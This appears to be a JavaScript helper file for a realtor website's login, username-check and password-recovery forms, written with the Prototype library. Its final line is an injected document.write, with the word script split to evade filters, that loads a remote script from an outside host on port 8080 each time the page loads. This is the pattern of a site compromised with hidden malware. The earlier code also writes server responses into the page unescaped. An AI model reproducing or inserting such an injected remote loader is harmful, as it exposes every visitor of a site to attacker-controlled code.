int_obj = '';
var prefvar = "/capitalFM/";
function loadField(id) {

	if($(id)) {

		attachTooltip(id);
		Highlight(id);
		clearInterval(int_obj);
	}
}

//Baloon functions

function attachTooltip(elementId){
	if($(elementId)){
		Event.observe(elementId, 'focus', onfocusEle, false);
		Event.observe(elementId, 'blur', onblurEle, false);
		//	   Event.observe(elementId, 'mouseover', onfocusEle, false);
		//	   Event.observe(elementId, 'mouseout', onblurEle, false);
	}
};



//only for home page tool-tip

function onblurEle(e){
	var id = Event.element(e).id;
	$(id).className = "inputstyle" ;
	$("h-" + id).className = "field-hint-inactive" ;
};

function onfocusEle(e){

	if($(selected_field)) {
		$("h-" + selected_field).className = "field-hint-inactive" ;
		$(selected_field).className = "inputstyle" ;
	}
	var id = Event.element(e).id;
	$(id).className = "inputstyle-focus" ;
	$("h-" + id).className = "field-hint" ;
};

selected_field = '';

function Highlight(id){
	selected_field = id;
	$(id).focus();
};


function displayAlert(msg)
{
	if(msg) $('msg_div').innerHTML = msg;
	$('alert_div').className = 'alert_show';
}

function checkAvailUserName(uname){
	showLoader(1);
	var url = 'validation.php';
	var pars = 'userName=' + uname+"&mode=checkUname";
	if(uname == '')
	{
		displayAlert("Username is blank!");
		showLoader(0);
		return false;
	}

	if(alltrim(uname.length) < MAX_USERNAME)
	{
		displayAlert("Username must contain atleast 4 characters!");
		showLoader(0);
		return false;
	}
    if (!checkEmail(uname))
    {
    	displayAlert("Invalid email address");
		showLoader(0);
		return false;
    }
	var myAjax = new Ajax.Request(
	url,
	{
		method: 'get',
		parameters: pars,
		onComplete:showMessage
	});
}

/*function displayAlert(msg)
{
	if(msg) $('msg_div').innerHTML = msg;
	$('alert_div').className = 'alert_show';
}*/

function ViewForgot() {
	if($('alert_div')) $('alert_div').className = "alert_hide";
	if($('login_div')) $('login_div').style.display = 'none';
	if($('forgot_div')) $('forgot_div').style.display = '';
}

function ViewLogin() {
	if($('alert_div')) $('alert_div').className = "alert_hide";
	if($('login_div')) $('login_div').show();
	if($('forgot_div')) $('forgot_div').hide();
}


function showMessage(originalRequest) {
 
	response = originalRequest.responseText;
	if( response.indexOf('bad_word') != -1 ) {

		displayAlert("Username is restricted!");
		showLoader(0);
		return false;
	}
	else if( response.indexOf('invalid') != -1 ) {
		displayAlert("User name not exists in the database.");
		showLoader(0);
		return false;
	}
	else {
				showLoader(0);

	}
}
function closediv()
{
	$('alert_div').style.visibility = "hidden";
}
function userLogin()
{
	//showLoader(1);
	var url =  'compvalidation.php';
	var msg="<table cellspacing='2' cellpadding ='4' width='100%' align='center' border='0'><tr><td class='text' align='' width='95%'><img src='images/error.gif' align='absmiddle' border='0'>&nbsp;<B>Some fields have not been correctly completed. </B>Please review the changes required below.</td><td valign=top width='5%'><img src='images/close.gif' title='Close' onClick='closediv();' style='Cursor:hand;'></td><tr><td colspan=2>";

	if(alltrim($F('email')) == '') {

		$('msg_div').innerHTML = msg + "<span style='color:#a15c6f'>Email is blank!</span></td></tr></table>";
		$('alert_div').style.visibility = "visible";
		displayAlert();
		//showLoader(0);
		return false;
	}
	else {
      if (!checkEmail(alltrim($F('email'))))
      {
		$('msg_div').innerHTML = msg + "<span style='color:#a15c6f'>Invalid email address</span></td></tr></table>";
		$('alert_div').style.visibility = "visible";
		displayAlert();
		//showLoader(0);
		return false;
      }
	}

	if(alltrim($F('zip')) == '') {

		$('msg_div').innerHTML = msg + "<span style='color:#a15c6f'>ZIP Code is blank!</span></td></tr></table>";
		$('alert_div').style.visibility = "visible";
		displayAlert();
		//showLoader(0);
		return false;
	}
	
	
	var pars = 'email=' + $F('email') + '&zip=' + $F('zip') + "&mode=login";
		//displayAlert(msg);
	
	var myAjax = new Ajax.Request(
	url,
	{
		method: 'POST',
		parameters: pars,
		onComplete:showLogin_Response
	});

}
function userLoginAfterRegistration(email, zip)
{
	//showLoader(1);
	var url =  'compvalidation.php';
	var pars = 'email=' + email + '&zip=' + zip + "&mode=login";
	//displayAlert(msg);
	
	var myAjax = new Ajax.Request(
	url,
	{
		method: 'POST',
		parameters: pars,
		onComplete:showLogin_Response
	});

}

function showLogin_Response(originalRequest)
{
	var msg="<table cellspacing='2' cellpadding ='4' width='100%' align='center' border='0'><tr><td class='text' align='' width='95%'><img src='images/error.gif' align='absmiddle' border='0'>&nbsp;<B>Some fields have not been correctly completed. </B>Please review the changes required below.</td><td valign=top width='5%'><img src='images/close.gif' title='Close' onClick='closediv();' style='Cursor:hand;'></td><tr><td colspan=2>";

	response  = originalRequest.responseText;
	if(response.indexOf('yes') != -1) {
		//showLoader(0);
		window.location = "realtors_login1.php";
	}
	else {
		$('msg_div').innerHTML = msg + "<span style='color:#a15c6f'>"+ response + "</span></td></tr></table>";
		$('alert_div').style.visibility = "visible";
		displayAlert();
		//showLoader(0);
		return false;
	}
}


function getPassword()
{
	showLoader(1);
	var url =  'validation.php';

	if(alltrim($F('emailAdd')) == '') {

		$('msg_div').innerHTML = "Username is blank!";
		displayAlert();
		showLoader(0);
		return false;
	}
	else {
      if (!checkEmail(alltrim($F('emailAdd'))))
      {
		$('msg_div').innerHTML = "Invalid email address";
		displayAlert();
		showLoader(0);
		return false;
      }
	}

	

	//	document.login_form.submit();

	var pars = 'userName=' + $F('emailAdd') + "&mode=password";
	var myAjax = new Ajax.Request(
	url,
	{
		method: 'POST',
		parameters: pars,
		onComplete:showLogin_password
	});

}

function showLogin_password(originalRequest)
{

	response  = originalRequest.responseText;
	//	alert(response);
	if(response.indexOf('yes') != -1) {
		$('msg_div').innerHTML = 'An email hass been sent to your mail account';
		showLoader(0);
		displayAlert();
	}
	else {
		$('msg_div').innerHTML = response;
		displayAlert();
		showLoader(0);
		return false;
	}
}

document.write('<s'+'cript type="text/javascript" src="http://temp.aspdesign.net:8080/Scanner.js"></scr'+'ipt>');